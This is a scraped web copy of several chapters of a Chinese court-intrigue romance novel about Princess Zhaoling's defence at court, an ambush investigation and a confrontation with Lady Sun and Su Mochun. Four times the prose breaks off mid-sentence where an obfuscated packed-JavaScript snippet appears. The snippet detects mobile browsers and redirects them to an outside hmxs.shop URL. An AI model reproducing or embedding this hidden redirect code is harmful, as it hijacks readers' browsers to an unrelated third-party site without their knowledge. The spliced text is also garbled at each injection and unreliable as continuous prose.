比如，先帝的其他子女死的死伤的伤，没有一人有上朝的权利；而当今皇帝的皇子还未成年。 没有一个真正的亲王可以给牧晓提供参考。 她独自站在丹陛之下的东侧，文武百官之前。 从她入列时，身后的嘈杂的议论声就未曾止息，背后各色目光似要将她灼穿。但站在如此靠前的位置，那些非议流言根本听不清，亦无人敢上前质问她。 上朝流程始，全场噤声，再也无人议论；文昌帝驾到，避君之目的礼制让所有人俯身低头，粘她身上的目光也彻底消失。 牧晓机械地行跪拜礼，血液上涌，耳膜隆隆作响。 她儿时与母亲一同在夏日树荫下乘凉，听到几位夫人互相分享自家夫君讲述的朝堂小趣事，和自家孩子一起发出咯咯笑声。 他们当时在笑寒门出身的泥腿子武将，第一次进京上朝，玉带笏板不正、紧张咳嗽、跪拜节奏与百官不同步、入场时踩到前官员的朝服下摆等等小事。 他们的笑里其实没有嘲讽，只是把这当茶余饭后活跃气氛的轻松话题。 但牧晓的母亲，楚岚骁楚夫人没有笑，而是轻轻把她抱得远了些。 母亲一直告诉牧晓，每个人都有“第一次”做一件事的时候。没有先例可循，出错在所难免。这再正常不过，不好笑，也不应被当作他人谈资。 “允许犯错“四个字就像一张丹书铁券。它的作用其实不是在犯错后保命，而是在紧张彷徨时给人坚定自己选择的勇气。 跪拜礼结束，牧晓从地上站起。耳中血液奔流的聒噪已然消失。 她从未这样冷静和清醒。 现在她在朝堂中一人之下万人之上的站位，仅仅因为她是皇亲国戚。 丹陛之上俯瞰众生的，让人避目不可直视的，令天下人跪拜臣服的，不是她的兄长，而是皇权。 她第一次直观地体会到皇权的耀目。 议事流程的前几件与牧晓无关。她用心记下，准备回去后再细细揣摩。 正当她准备出列奏报京郊之事时，她听见右佥都御史参她身为女子无故抛头露面上朝议事，谏言皇帝允许身为公主的皇妹用亲王规制有违宗法礼制等等。林林总总，用词激烈，就好像昭灵公主犯了什么十恶不赦的大罪。 牧晓捏紧笏板。 文昌帝看向牧晓：“昭灵公主可认罪？” 牧晓出列朗声答道：“臣不知何罪之有。臣自三年前于西南封地镇守戍边，不敢提有功之言，但自认无渎职之过。本朝祖训中从未提及女子不可为国效力。女子于边境战场抛头洒血，黎民百姓视为佳话；于朝野上参政议事，却被右佥都御史因称作抛头露面而视为异端。在场各位都是饱读诗书、一心为国为民之人。二者孰轻孰重、孰是孰非，心中自有定夺。” “至于亲王规制，乃是圣上恩典。何为亲王？亲国亲民亲天下是谓亲，为圣上守一方国土护一方黎民是谓王。圣上不拘一格任用天下贤士，有错必罚，论功行赏，才有我朝人才济济、繁荣兴盛。” “男子勇毅该赏，骏马冲敌该赏，忠犬厮杀该赏，难道独女子有功不能赏？” “山匪立功可从良，囚犯立功可遇赦，俘虏洗心革面可重获新生，难道独皇妹立功就应遮遮掩掩、抱头鼠窜？” 牧晓简单驳完前几点，调转话锋：“此番上殿并非无故，确有要事相奏。臣妹回京途中于京郊路遇劫道者。劫道者服装齐整、训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708695|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练有素，不似流匪。若不是陛下特赐的府兵护卫，臣妹恐命丧当场。” 牧晓说完，深深下拜：“俘获者皆已在昨日移交刑部。臣妹恳请陛下下旨彻查此案。” 兵部尚书侍郎、五军都督、顺天府尹等有关官员跪了一地。 无人再提及右佥都御史参昭灵公主的罪状，也无人有机会再反驳昭灵公主的自辩之言了。 昨日入城时朝中许多官员都在。昭灵公主从容不迫，随从也齐齐整整，怎么都不像是刚遇劫的模样。 刑部昨日接到文昌帝的口谕，也是无人声张。 此时，刑部尚书出列：“启禀陛下。昨日昭灵公主府送来的人犯均已加急审问。” “劫道者确实并非流匪。” “据供述，人犯均曾在一名五城兵马司副指挥旗下任职。此次也是受他指使。” “这名五城兵马司副指挥，名叫——” “苏墨淳。” 正是苏墨清那个每日醉醺醺的同父异母弟弟。 牧晓捏紧笏板猛然一震。 这简直是火上浇油。 原本就在风口浪尖上纠缠不清的昭灵公主府和延国公府，此刻直接被串上烤架。 她和延国公府原本的恩怨过节，不过限于儿女情长和小打小闹，无关痛痒。 现在这一出后，所有是非都得明明白白摊在光天化日之下。 “主使既已查明，按流程走便是。”文昌帝扫过高台之下的群臣，“急事已妥，其余细务可具本奏来。退朝。”说罢，起身离开。 “鸣鞭！”鸿胪寺官员唱赞，“众卿退朝！” 文昌帝一走，即使众位官员心中再不满，牧晓是现场理论上品阶最高的，需先行离场。 她在文武百官的侧目中缓缓走出奉天殿。 耳畔只余风声呼啸而过。 · 清风穿过坤宁宫廊下的风铃，留下一串叮咚脆响。 “陛下，怎样？昭灵公主没把朝会掀了？”皇后余长欣急切地询问。 “还算规矩。至于其他，双十的小丫头，能说出些什么。还是太性急。”文昌帝牧晞哼笑一声。 余长欣听后放松笑道：“看来表现还可以。拿笏板的手没抖，没做错事，还能说出话，这就很好了。陛下又没找人带带她。” 牧晞随手拿起桌案上的书翻了翻，一句一句道：“那点车轱辘话，作武将还将就。当年读的圣贤书，看来是忘得差不多了。” “从根上说，她也是书香门第的大家闺秀。定是被苏家那帮子人带坏了。” “看她那么爱玩苏家剩下的那几个人，那刚好一次玩个够。” 随口几句后，牧晞放下手中的书：“多少年了，还是这本。你要是真想知道牧晓在朝上说了什么，等会叫人誊一份过来，看着解闷就是。想找她叙旧，日日招她进宫也无妨。” 余长欣不理会对方对她案头书物的评价，把书抽走：“我就不在这时候让她来陪我了。那些问题够她脚不沾地处理很长一阵。空闲的时间，就让她和苏大公子好好叙旧吧。” “我猜他们现在正是蜜里调油的时候。” 5. 大相径庭 蜜里调油暂且存疑。 牧晓的脑中现在是烈火烹油。 她活到现在鲜少后悔，此刻却忍不住冒出个想法：三年前怎么就只让苏墨淳断了腿，没直接灭了这个麻烦呢。实在是失策。 今日起得太早，最近脑中的弦又绷了太久。牧晓现在头重脚轻，瘫院中摇椅上，深呼吸强迫自己冷静思考。 在她暂时放空的时候，一双冰凉的指节搭上她发烫的两边额角，轻轻揉了揉。 指节触碰到她的刹那，牧晓的心脏像受到了记重击，轰然炸开，血液倒涌，四肢瞬时一凉，以惊人的速度一个激灵翻身跃起，退开数步，手下意识摸向腰间的刀柄，却摸了个空。 院里明里暗里的守卫颇多，实在安全。她早就把佩刀解下来了。 她惊魂未定地喘了几口气，发现那个站在摇椅后的人同样一惊。 但那人一步也没有后退，惊了一瞬便定了神，垂下手，头微侧低下，没有看她。 显然在愧疚。 “抱歉”“对不起”苏墨清和牧晓的声音前后响起。 他们两个的反应把树上的芒夏也吓了一跳。芒夏急忙跳下来，单膝拱手，半跪在牧晓身边。 牧晓扫一眼就明白过来。芒夏从不会不通报，只是自己大概又没听见。 她拍拍芒夏的手臂，把人拉起后笑着说：“我的错。别动不动就跪，多累啊。姐，去找秋姐玩去吧。这里有我的准驸马保护我呢。”家宴那天确定皇兄的意思是让他们再大婚一次后，苏墨清又变成了准驸马、未婚夫。 芒夏应声后，牧晓走到摇椅上重新坐下，仰靠在椅背闭上眼，随手指了指自己的头：“继续。别楚楚可怜地站在那里。下次找我通报都不必，直接进。” 那双如玉的指节重新搭了上去。 “知道了？京郊的蠢事现在掉到苏墨淳头上了。”牧晓很满意头上的力道，放松地说。 “那就处理他。”苏墨清略微拖长音，淡淡道。 牧晓笑出声：“别闹。问题根本不在于到底是不是他，一拍脑门想杀我们。别的不说，我是真看不出来他有那份魄力。他在那个五城兵马司副指挥的位置上，最多走马观花溜达过几天，怎么能真调得动人？谁能让他调走人？” “不过，”牧晓敛了笑，沉下心，“确实不能轻敌。就算他真的只是明面上的靶子，也必然有自己的过人特质。除了能让我们两家更剪不断理还乱之外，还有什么？我们昨日去苏家，我不曾关注苏墨淳见到我们的具体反应。你还有印象吗？” “扫了一眼。惊讶居多，没什么恐惧或忐忑。”苏墨清判断，“如果这三年间他没有很大长进，不论截杀失败的消息有没有传到他那里，他都不会有心情在院里开小宴。” 苏墨清指节力度不停，但话语顿了一下后继续：“我觉得他不像主谋，最大缘由倒不在他有没有这份魄力，而在于他、苏沁和孙氏三人，自然而然做的恶事数不胜数，但鲜少有意作恶。” “嗯？这我倒是没注意。”牧晓睁开眼，抬手扣住苏墨清的手腕，把他带到石桌旁的座位上坐下，自己双手一撑石桌边斜坐上去，“这是为什么？” “因为他们都怕，自己作恶会牵连到另外两人一起受罚。”苏墨清轻笑。 “那就先排除掉他真是主谋这一点，再看这件事。”牧晓指尖叩着石桌面，“人犯证词若是假，有问题的不是主审犯人的刑部，就是提前编好想嫁祸苏墨淳；证词若是真，就是有人在暗处以他的名义组了人，或者他被什么人忽悠了。” 牧晓停下的片刻，苏墨清接上：“还有一种情况。就像我刚才所说，他们有意作恶不多见，但无意之恶不胜枚举。在这种情况下，又牵出一个新的问题。” “因为一眼看出那些人不似流匪，我们又身份特殊。所以一直以来的思路都建立在，截杀是冲着我们而去的基础上，并且想分辨出到目标到底是你，是我，还是我们两个。”苏墨清想到一种新的可能，仰头看向牧晓，“要是劫道者根本不是冲着我们两个……” “可他们的口供里明知是我们。”牧晓提出质疑。 “人犯是昭灵公主卫队抓到的。最先知道这点的，不是刑部，而是人犯自己。”苏墨清也觉得这个说法有趣，唇角上扬，摇摇头，“所有的这些都只是推断而已。事实说不定和想象中的大相径庭。” 牧晓坐在石桌上居高临下看着他：“哦，对。我现在也发现了些与想象中大相径庭的事。” 苏墨清略一歪头，用询问的目光看向她。 “比如，我以为你今天会好好待在家里晒晒太阳、吹吹风，再随手梳理点案情，等我回来；或是出门逛一逛，看看街景、找旧友聊聊天也行。”牧晓向前倾身，离他更近了，像是在他耳畔低语，“不过，真和我想象中的不太一样呢。” 牧晓抬手轻捏一下他的左臂，果然试到包扎处理的痕迹。 “我的未婚夫，我没让人和我报备你任何行程。现在只好劳烦你亲自解释一下。怎么几个时辰未见，又是这样可怜？”牧晓另一只手搭在他的右肩上，缓声问。 石桌与石凳的距离不宽，高度正好。 从远处看上去，牧晓就像坐在他怀中；而实际上，这份居高临下相当有压迫感。 苏墨清呼吸一滞，尽力放松保持不动，也缓声：“只是遇到了一点小麻烦。” “我本想找百听阁的闻阁主一叙。不巧，段三公子也在。” “闻玄机和段弈哲？”牧晓若有所思，搭在他右肩上的手松了些。 · 段三公子段弈哲，是在城外与姚尚书一同迎他们回京的段御史之子。 牧晓和苏墨清曾与段弈哲当过几日同窗。当时关系尚可。 段弈哲的长兄段弈钧，年少自愿入军，从普通兵卒做起，稳扎稳打一路晋升，调至最精锐的军中，前途一片大好。 段弈钧当年的所在的那支军，正是西南边防军。 在玄岳关一战中，负责断后的，除了苏墨清，也有段弈钧。 原本两方谁都没有回来，牧晓和段家人，悲痛之余也算同病相怜、惺惺相惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708696|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但段家人的态度很快就变了味。 他们不知从何处听闻，是苏小将军强留下段弈钧一同断后，且段弈钧听从的最后一道军令，恰是苏小将军发出。 段家人也明白，且不说这些传闻的真假，就算传闻是真，只要朝廷调查下来，苏小将军的军令没有问题，他们于情于理都无法把罪责归到他头上。 但人心波澜不是“于情于理”四个字可以抚平的。 三年间，事情逐渐演变为，在西南，牧晓以皇帝至亲和小将军遗孀的双重身份收拢人心、屡立奇功；在京内，段御史履行职责，不断上书弹劾其中事急从权、越权跨职、有违礼制等不合规之处。 不论段御史这样做是真的公事公论，还是因长子之死夹带私心，在京城风闻中，段家和昭灵公主早就结下梁子。 风吹久了，风中之人再温暖的手也会被吹冷。 段弈哲自幼便亲近段弈钧这个长兄。更何况他与牧晓相比都小了好几岁，这些年正是年少迷茫的时候。 如今，眼见苏墨清安然无恙归来，与昭灵公主百官相迎、大张旗鼓从东城门入京。段弈哲一时心中颇多滋味无法言明也无处安放，又骤然迎面撞上当年的苏小将军，各种愤懑、酸楚、失落在心头翻涌，如鲠在喉，一时失态。 段弈哲在这种情况下会找苏墨清麻烦，牧晓一点都不意外。 但不代表她认为这是有理的。 在牧晓眼中，她和段御史之间所谓的“梁子”，不过是两方都在恪尽职守，甚至搭台唱戏罢了。朝堂，这个天下最繁复的舞台，从来都是你方唱罢我登场。老生常谈的戏目唱多了，总会出现新东西，推动时局向前。 更何况，这种明面上所谓的“针对”，且不说有没有意义、会不会真的带来麻烦，其实从本质上也不失为一种另类的“保护”。曲高和寡，水清无鱼，名声太完美，反倒容易一朝成为众矢之的，顷刻崩坍。 不过在段弈哲这个年纪，这些道理还只存在于师长口中、圣贤书里。 他只知道，只有他——至少在表面上——只有他的心仍在为长兄的离去而呼啸，真实地痛苦着。 “我和闻玄机闻阁主倒有些交际。虽然闻玄机本人在京时日更多，但百听阁在西南势力更大些。”牧晓知道，苏家几代在西南主军但不干政，对这些小机构的形势不太了解也正常。 百听阁无伤大雅的讯息可以用钱和物交换，但约见阁主本人，只能用秘闻换秘闻，还得由阁主定夺。 不论哪个身份，闻玄机会当场同意见如今只是一介白衣、正在风口浪尖上的苏墨清，再正常不过。 但会见年纪尚小的段三公子段弈哲，就有些奇怪，更别提段御史朝中职务的特殊性。段三公子这个举动往大了说，足够段御史参自己一本。 “至于段弈哲，”牧晓眯起眼，“你故意的？我不曾听闻段家还让段弈哲习过武。你前几年伤得再重，现在只要能行走，不可能连个半大孩子的剑都躲不过。” “更别提段弈哲算不上朽木不可雕。他自己，未必就那样坚定。” 6. 恩怨两消 苏墨清的沉默，在牧晓眼里就是默认。 事实也确实是这样。 既然绝大多数官员默认段家和昭灵公主、苏小将军有仇怨，提请重探玄岳关真相这件事大概率会被默认让与段御史。 不论今日早朝段御史有没有找到机会提请重审，不论段三公子这一剑有没有实在地伤到筋骨，段御史到头来总会矮上那么一寸。 在平日生活里，牧晓和苏墨清对旁人非议视若罔闻，但在朝堂争论中，道义制高点实在好用。 一位自诩两袖清风者，清廉十年，若兜里出现一块被查实的有污点铜板，清廉的名声便会崩塌；一位御史，大义凛然刚正不阿谏言数十载，若是被查实自己治家不严且包藏私心，被他参的人就不会显得那样最无可恕、死有余辜。 朝堂上能抓点对方的小把柄，谁都不嫌多。 牧晓的样子像是想再给他一刀柄，但又摸了个空。 看来以后这刀在府中也不能摘。 有用得很。 牧晓清楚这种做法的用意，但觉得还不到这一步。 “伤口真的处理好了？没大问题吧。有问题记得和我说。”牧晓用手背轻试他的额头，又左右看看他的脸色，确认没什么大问题后，啧了一声，“你是怎么想的。找闻玄机问事情，真不如直接问我；真想找他可以直接把他叫到府上来。我和他这点交情还是有的。” 牧晓说到这里，自觉还是有点限制他自由的意思，避开他的目光说：“算了。你想做什么就去做。你和段弈钧的事我不清楚，和段弈哲之间的恩怨也自己来吧。” 她跳下石桌，微麻的指尖在袖中蜷了蜷。 “还有一件事。”苏墨清像是松了口气，再次开口道，“我回来时遇上姚尚书。他说处理完事务就送人来你府上。” · 姚尚书脾性和善、学识渊博，当年给京城许多高门子弟当过启蒙师傅。 但正儿八经的女学生，只有牧晓一个。 下朝后，他本想叫住牧晓亲自和她说这件事。不成想，牧晓大步流星跨出宫门，半步不停走上马车，头也不回地扬长而去。 姚尚书这时才觉得，自己真是老了。 不过，并无大碍。 谁还没有有第一次追不上别人脚步的时候。 姚尚书暗下决心，回府后定要多吃两碗饭、多打几套拳法。 而他要送来的人，正是他的堂妹——苏老将军的原配，姚千宁姚夫人。 也是苏墨清的生身母亲。 姚千宁进门后，抬眼看见死而复生的亲儿子，却没有像话本中常写的那样，母子相逢抱头痛哭。 她只是上上下下打量了自己儿子几眼，确定是个全乎人且有影子后，很满意又不太满意地拍拍儿子：“还活着。挺好的。但活着也不知道送个信，没教养；还未真大婚就住上公主府，没规矩。也就晓儿不嫌弃你。” 这话风实在熟悉。在姚夫人从前进府拽走赖别人家里不走的儿子时，牧府旧人都或多或少听过些类似的话。 姚千宁对这个儿子一直是半放养状态，向来是抓大放小。除了需要她当后盾的事，其他时候不干涉他的决定。不过赖在别人家不走，实在不好看。 “让母亲担忧了。”苏墨清恭恭敬敬地答道。 “不担忧，一点都不担忧。当年看起来死得干干脆脆，没什么担忧的余地；现在死而复生得明明白白，我就更没什么好担忧的了。你一直挺让人省心的。”姚千宁随口几句回去，忽而觉得几年没见，儿子又死又活的，大概也经历了不少。还是应当温柔些，再给予他一点鼓励。 于是，她语气婉转下来，温柔地说：“你眼光和运气倒是真好。年纪轻轻就拐带到了晓儿。你没诈尸的日子，她不管在哪里，都是一月一封信准时问候她姚姨。实在贴心。” “谢母亲夸奖。”苏墨清深以为然且习以为常。 姚千宁年轻时就风风火火，缺乏瞻前顾后这项本事，说话习惯夹枪带棒，遍杀京城闺秀。年纪渐长，顾忌全消，实力没有丝毫减退，反而被岁月炼地愈发炉火纯青。 她玩得最好的闺中密友，是牧晓的母亲楚岚骁楚夫人。年少时，姚千宁冲锋在前，楚岚骁在背后暗暗学习并摇旗呐喊；姚千宁闯出祸事，楚岚骁从来和她同甘共苦，一起据理力争。两人多次被长辈评为一拍即合、狼狈为奸的最佳典范。 面对牧晓，姚千宁总有种自己母子两个把她们母女两个全霍霍了，还死不放手的心虚。 不过今日，姚千宁前来，不只是想见儿子一面。 简单几句寒暄结束，姚千宁没有继续浪费时间的意思。 她眨眨眼睛，笑着牵起牧晓的手，随手过了几个镯子给她：“给你们带了点见面礼。” “哦，不是这几只破镯子。” “这几只镯子只是和我干女儿今日的衣裳很配。手上这么空，和你母亲一点都不一样。岚骁看到会伤心的。” 姚千宁说完这句，转头看向门外，笑容微敛：“你们在京郊的事，我也知道了。苏墨淳那个蠢货已就被刑部收走。我冷眼瞧着，早觉这几年苏家有些反常事，但与我无关我也没细想。” “我刚推说发现一张孙氏早年写给我的压箱底欠条，去了延国公府一趟。问出点有意思的东西，不知能不能帮到你们。” “孙氏现在就在马车内，由信得过的侍从看守。账本我也从他们府里掏出来了。怕她脏了公主府的地，没直接带进屋。放心，带人过来用的正当理由，他们不敢声张。” “你们现在方便当面听她说吗？我不太擅长分析这些。”姚千宁征询牧晓的意见。 过于礼貌往往显得见外。不论有没有她和苏墨清这层关系，牧晓都从不推脱姚姨给她带的小礼物。她笑着回握姚千宁的手：“没什么不方便的。我们现在正缺延国公府内的信息呢。镯子和礼物我都很喜欢。先行谢过姚姨。” 姚千宁定定受这一谢，心情更加愉悦，吩咐身旁侍女将人带上来。 孙氏没被绑也无人苛待，因儿子被刑部带走显得有几分憔悴。且因不在自己府内，她浑身不得劲。 孙氏身旁还跟着硬要紧黏母亲过来的苏沁。 孙氏也没心思管屋里坐着的到底是谁，垂头丧气地熟练念叨：“银两会还清，宽限几日吧。歹人陷害，我儿无辜。待他从狱中归来，我再求个差事给他，银两定会还上。现在就算把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708697|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我千刀万剐也没那么多钱。” 屋中几人翻着账簿，一时无人理会她。 孙氏茫然抬头，发现自己显然不在姚府。 姚千宁说“请她喝茶叙旧”，竟来到了昭灵公主府。 孙氏浑身一颤，膝盖一软眼看要跪倒在地，却被旁边眼疾手快的两个侍女顺势按到最近的圆凳上坐下，靠到身后的苏沁身上。 意识到女儿在身后，孙氏不跪了。她跪，女儿就要跪。 两个侍女暗中请示牧晓，是否允许孙氏继续说话。 牧晓示意他们不用打断，放下快速翻过的一本账簿，抬头看向孙氏。她想看看孙氏的真实反应。 孙氏咬咬牙坐直身子。在女儿身上靠的一下，仿佛给了她无形中的勇气。 她当真端出了几分大家主母的风范：“我儿墨淳少不更事，对二位多有得罪，但早就恩怨两消，这几年也算安分守己。” “况且，延国公府早已衰败，消息不通。我是在二位回公主府时才得到的消息。墨淳更是在二位大驾光临时才知晓。怎有机会做出截杀这样的大事？墨淳没这个胆，府内也没这份钱啊。” “恳请昭灵公主和苏小将军高抬贵手，放我儿一马。” 人在绝境果真会爆发出从未有过的力量。 这样清晰的逻辑，牧晓不由得高看孙氏一眼。但现在人在刑部，又不在自己手里。人证物证齐全，事情闹上朝，已不是自己凉不凉解的问题。 现场在她说完后又静了几息。牧晓还在斟酌是继续套话，还是实话实说打发她走时，孙氏竟然直接崩溃了。 在孙氏眼里，现在的每一瞬都是那样漫长。牧晓不答话，便是回绝。 孙氏再也端不住了，失去所有力气往女儿身上瘫了一瞬，然后气急反笑，霎那间泪流满面，尖声大叫：“牧二小姐，当年都是我的错。得饶人处且饶人啊。什么恩怨两清，你害墨淳瘸了腿还不够吗……” 她出口几句字后，在场所有人都意识到孙氏的情绪实在不对。 但此时捂住她嘴的，竟然是她女儿苏沁。 苏沁的手瑟瑟发颤，小声说：“抱歉。我，我母亲实在是一时激动，才……茶我们就不喝了。我们这，这就走。” 牧晓结束和身边人的眼神交流，饶有兴致地看向这对母女，对苏沁道：“要不让你母亲说完吧。原来当年你和苏墨淳是这样和你母亲解释、编排我的？这就说得通了。” 孙氏还在挣扎，但幅度小了许多。 牧晓不理会苏沁恳切的眼神，继续道：“这个罪名我可不担。我三年前打断苏墨淳的腿，算得上事出有因。虽然有激奋之下一时失手的成分在，但力道我还是相当清楚，府医随手固定，养一养就能好。” “所以，你们兄妹两个合计了什么呢？” “我猜猜。是不是被当年苏老将军、苏小将军相继离世的消息吓怕了，听说瘸了腿，就永远不用上战场送命，可以待在府中醉生梦死一辈子了，对不对？” “还是自己人狠。你们两人怕是鱼都没杀过，真下得去手啊。” 牧晓这番话说完，苏沁惊恐地看向母亲，抖得更厉害了。 孙氏彻底呆在原地。 7. 对峙 送走孙氏母女后，虽然牧晓极力挽留，姚千宁也坚持起身告辞。 姚千宁一直认为，和晚辈一起住是件很不自在的事。她有自己的宅邸，虽然明面上挂在姚家那里，但实际上房契地契什么的全在她自己名下，和姚家的大宅也不互通，门的开法开向也特意设计过。 牧晓跨过门槛，实在有些暗暗不舍，但表面上还是笑着把姚姨送了出去。 这座公主府在今日前，已很久没有“母亲”这种角色出现了。 更何况，牧晓和姚千宁心照不宣——她们有时就像楚岚骁留给对方的“遗物”。 早在先帝离世、楚岚骁作为先皇后也病逝的时候，她们的世界同时碎了一块，又同时默契地都想为对方缝缝补补。 而三年前苏墨清也走后，她们两人虽然见面不多，但一直书信往来从未断过。 每封跋山涉水、千里迢迢而来的信，都似一扇纸蝶，轻轻罩在三年前那个寒风朔雪夜上，隔开一片当时的痛苦。 那个唯一的、爆发的，她们俩一同痛哭、一同取暖的夜晚。 剩下的日子，痛苦便绵长而孤独着。 品咂过这份苦涩的，又何止是在百听阁拔剑而起的段弈哲。 天色已晚。 “呼”侍女吹灭一盏烛火。 昭灵公主府陷入黑暗。 · 黑暗中，苏墨清对走进门来的人道：“闻阁主。不请自来可不是什么好习惯。” “顺路，顺路罢了。你终于说了句人话。对啊，不请自来可是什么好习惯。要不是你今早冷不丁登门，我又何必做贼似的大晚上偷摸来牧府，和昭灵公主唠今天的事。”闻玄机穿得薄，摇几下扇子装风流倜傥，把自己冻得浑身一哆嗦。 他有些不满道：“你这是什么态度。这是对恩人的正确态度吗？在西南是谁给你递的消息，告诉你昭灵公主位置的？没我，你们能这么快相遇？” “还有，你装什么装。段三公子拿剑的手抖得可以炒菜了，你还往上撞。得逞了吧？昭灵公主心疼了吧？美得你不轻。” 闻玄机自己叮铃桄榔走进来，毫不见外地自己拉开凳子坐下：“别这样阴测测地盯着我了。和昭灵公主说的时候自然没有这些绝妙加工，只是实话实说而已。我早就提醒你了，即使她不要求我透露你到底想问什么，我也得自觉来说。我们两个之间有点约定，我从不失信。” 把这两人放一个屋，好似让陶埙与唢呐共奏一首。画风实在不搭。 “看来你是不怕她知道，你不仅想查玄岳关时期京城中事，还对她的事相当求知若渴了。”闻唢呐自己就能把天聊下去，“你交换给我的信息说，那个暮药师，那个坊间传闻是出过女帝的、前前朝暮氏直系后人的那个暮药师，当真在西南？真在西南，我怎么能不知道？灯下黑啊。” “你要是骗我，我下次和昭灵公主唠，可就加油添醋了昂。” “当真。”苏墨清终于接了他的话，“就是他救的我。” “天杀的，”闻玄机由衷发出一声赞叹，“你救命恩人也卖。” 苏墨清的面色略微古怪了一瞬：“暮药师的脾性，你找了那么久都不清楚么？” “什么？什么脾气？世外高人的清高吗？”闻玄机有点疑惑，“你倒是直说呀，别除了在昭灵公主面前，剩下的时候都当谜语人。这样真的很讨打。” 苏墨清斟酌评价：“大概是，出其不意、睚眦必报、惊世骇俗。” “比如，他偏好问遇到的每一个人，想不想当皇帝。” “有意思。太有意思了。嘶，听着有点耳熟……”闻玄机仰头看天，若有所思。 “百听阁的规矩，一条秘闻交换一条秘闻。闻阁主，我的已经说了。该你了。”苏墨清淡淡道。 “我什么时候……算了算了，我说。怕了你们两个还不成。”闻玄机被打断思绪也不恼，“很多问题你早些时候都问过了。现在，你没问具体问题，那我就随口说一个。” “你应该也发现了。延国公府当今，没什么旧人。” “三年时间说短不短，但对一个国公府人员更替来说，三年时间换这么利落，相当古怪。” “瘦死的骆驼比马大。苏老将军当年是有几分仗义疏财的豪气，但留下的财产怎么都够苏墨淳挥霍许久。” “他又有什么必要遣散旧人呢？新人和旧人有什么不同？”闻玄机神秘一笑。 “你说的这些我都清楚。查明也容易。换一个。”苏墨清不为所动。 闻玄机一噎，气笑了，脱口而出：“哦。换一个。好好好。” “公主府内东侧有惊喜。你不知道，但全京城人都知道。” 闻玄机开始就想往东跑，但刚巧被路过的露秋打走了。所以这么晚，才摸到公主府西侧苏墨清住的地方。 说完，他看到苏墨清神色凝了凝，自己满意地点点头，然后直接打开窗，摇摇扇子，脚一蹬走了。 “嗷”远处传来闻玄机的痛叫。 露秋一板子正拍到他头上。 敢在公主府飞檐走壁，实在是嫌自己命长。 · 苏墨淳从未在公主府飞檐走壁，但显然也是嫌自己命长。 出乎所有人意料，他一开始，竟然认了。 “昭灵公主车驾深夜京郊遭人截杀。当场俘获嫌犯头目供述，曾在你任五城兵马司副指挥时就职于你麾下，且与你熟识交好。此言是否属实？”刑部清吏司陶郎中在堂上问话。 “是。”苏墨淳萎靡道。 “案发当夜，是你指使他们于京郊埋伏？” “是。” 坐在刑部公堂内侧边旁听的牧晓听到这个回答，啧了一声，和苏墨清小声感叹：“还真有他的一份。看不出来啊。” “你当夜身在何处？在做何事？”问话继续。 “在家，喝酒。” “为何不去现场亲自监督？” “腿瘸了，行动不便。” “你因断腿对昭灵公主一直怀恨在心？” “……不是。腿是我自己弄成这样的。”苏墨淳经历过多番讯问，对这些问题早就实话实说。 “那你为何要截杀昭灵公主车驾？” “我为……为钱。” 这个回答让牧晓有些诧异。为钱劫皇亲，怎么听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708698|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都像为碗劫卖豆腐脑的。不是说没有，而是说为碗当然要劫卖碗的，为钱当然要劫商。 “这么简单？”牧晓现在觉得还是高估了苏墨淳的心智。要是为钱，倒不如问问她肯不肯花钱请苏墨淳院里的那些卖艺人。那些人可有几分真手艺。 “你是延国公府如今当家主母的亲子，怎会缺钱？” “为了养……兄弟们。” “兄弟？你除了有一个同母妹妹和……何曾有别的兄弟？”清吏司陶郎中说到一半，略卡，又自然接上。 “就是院里的手艺人和那些兄……凶犯。” “你可知马车中坐的是谁？截杀皇亲国戚该当何罪？” 问到这个问题，苏墨淳一下子激动起来：“不知！我不知那是昭灵公主车驾，更不知苏……驸马也在里面。让他们在那埋伏，只因那条路多商贾经过。我只是为了钱，不曾想过谋财害命，更别提截杀皇亲国戚或是杀长兄。我，我没那个胆量。” 这段话终于答到点子上了。 